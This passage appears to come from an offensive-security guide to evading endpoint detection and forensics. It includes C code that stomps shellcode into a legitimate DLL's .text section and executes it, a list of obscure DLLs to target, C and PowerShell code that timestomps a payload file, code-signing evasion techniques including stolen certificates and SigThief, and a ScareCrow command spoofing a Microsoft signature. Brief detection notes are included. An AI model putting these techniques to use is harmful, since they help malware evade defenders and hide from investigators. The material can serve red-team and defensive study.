DWORD oldProtect;
BYTE* pText = (BYTE*)hMod +
pSec[i].VirtualAddress;
VirtualProtect(pText,
pSec[i].Misc.VirtualSize,
PAGE_EXECUTE_READWRITE,
&oldProtect);
// Copy shellcode over .text
memcpy(pText, shellcode,
shellcodeSize);
VirtualProtect(pText,
pSec[i].Misc.VirtualSize,
PAGE_EXECUTE_READ,
&oldProtect);
// Execute from stomped module
CreateThread(NULL, 0,
(LPTHREAD_START_ROUTINE)pText,
NULL, 0, NULL);
break;
}
}
Why it evades: Memory scanners (PE-sieve, Moneta) compare loaded module .text sections against the on-disk version. Module stomping replaces content in a legitimate DLL that the scanner may whitelist. Choose obscure DLLs that are not commonly integrity-checked.
Good stomp targets: xpsprint.dll, msftedit.dll, chakra.dll, edputil.dll - present on most Windows systems but rarely inspected.
Timestomping modifies file timestamps (creation time, modification time, access time, MFT entry modified time) to blend malicious files with legitimate system files. Forensic timelines rely on these timestamps to identify recently dropped files, so backdating them to match surrounding system DLLs makes triage significantly harder.
Detection: NTFS stores timestamps in both the $STANDARD_INFORMATION and $FILE_NAME attributes of the MFT entry. SetFileTime / NtSetInformationFile only modifies $STANDARD_INFORMATION. Forensic tools that compare both attributes can detect timestomping because $FILE_NAME timestamps are only updated by the kernel (rename/move operations).
// Set file timestamps to match a legitimate system file
// This defeats forensic timeline analysis that looks for
// recently created files in suspicious directories
HANDLE hFile = CreateFileA(
"C:\\Windows\\Temp\\payload.dll",
FILE_WRITE_ATTRIBUTES, 0, NULL,
OPEN_EXISTING, 0, NULL);
// Copy timestamps from a legitimate system DLL
HANDLE hRef = CreateFileA(
"C:\\Windows\\System32\\kernel32.dll",
GENERIC_READ, FILE_SHARE_READ, NULL,
OPEN_EXISTING, 0, NULL);
FILETIME ftCreate, ftAccess, ftWrite;
GetFileTime(hRef, &ftCreate, &ftAccess, &ftWrite);
SetFileTime(hFile, &ftCreate, &ftAccess, &ftWrite);
CloseHandle(hRef);
CloseHandle(hFile);
PowerShell:
# Copy timestamps from kernel32.dll to payload
$ref = Get-Item C:\Windows\System32\kernel32.dll
$target = Get-Item C:\Windows\Temp\payload.dll
$target.CreationTime = $ref.CreationTime
$target.LastWriteTime = $ref.LastWriteTime
$target.LastAccessTime = $ref.LastAccessTime
Limitation: $FILE_NAME timestamps in the MFT are not modified by SetFileTime, so forensic tools comparing $STANDARD_INFORMATION vs $FILE_NAME timestamps can detect the manipulation.
EDRs assign higher trust to signed executables. Code signing evasion involves either signing payloads with legitimate (stolen/purchased) certificates, self-signed certificates that match trusted publisher names, or abusing signature verification weaknesses. Some EDRs skip deep inspection of executables signed by trusted CAs, making a valid signature an effective bypass for static analysis and reputation checks.
Detection: Certificate revocation checks (OCSP/CRL), comparing certificate thumbprints against known-stolen certs, and checking for self-signed or recently issued certificates.
Techniques:
| Technique | Description | Stealth |
|---|---|---|
| Stolen EV cert | Sign with a leaked/purchased EV code signing certificate | Very High |
| Self-signed cert | Create a certificate that mimics a trusted publisher | Low |
| Catalog signing abuse | Add hashes to a Windows catalog file (requires admin) | High |
| Signature stripping + re-signing | Strip authenticode, modify binary, re-sign with new cert | Medium |
| SigThief | Copy an authenticode signature from a signed binary to another | Medium |
Tools:
# ScareCrow usage example - generates signed, obfuscated loader
ScareCrow -I beacon.bin -domain microsoft.com -Loader dll
# -domain: spoof code signing cert for specified domain
# -Loader: output format (dll, binary, msiexec, etc.)
| Tool | Language | Key Features |
|---|---|---|
| ScareCrow | Go | Spoofed code signing, EDR unhooking, multiple loader types |
| Nimcrypt2 | Nim | Syscall unhooking, string encryption, sandbox evasion |
| PEzor | C++ | Shellcode packing, syscalls, self-injection, signed output |
| Donut | C | Converts .NET/PE/DLL to position-independent shellcode |
| sRDI | C/Python | Converts DLLs to reflective shellcode (shellcode RDI) |
| Freeze | Go | Suspends EDR threads via ETW patching + payload execution |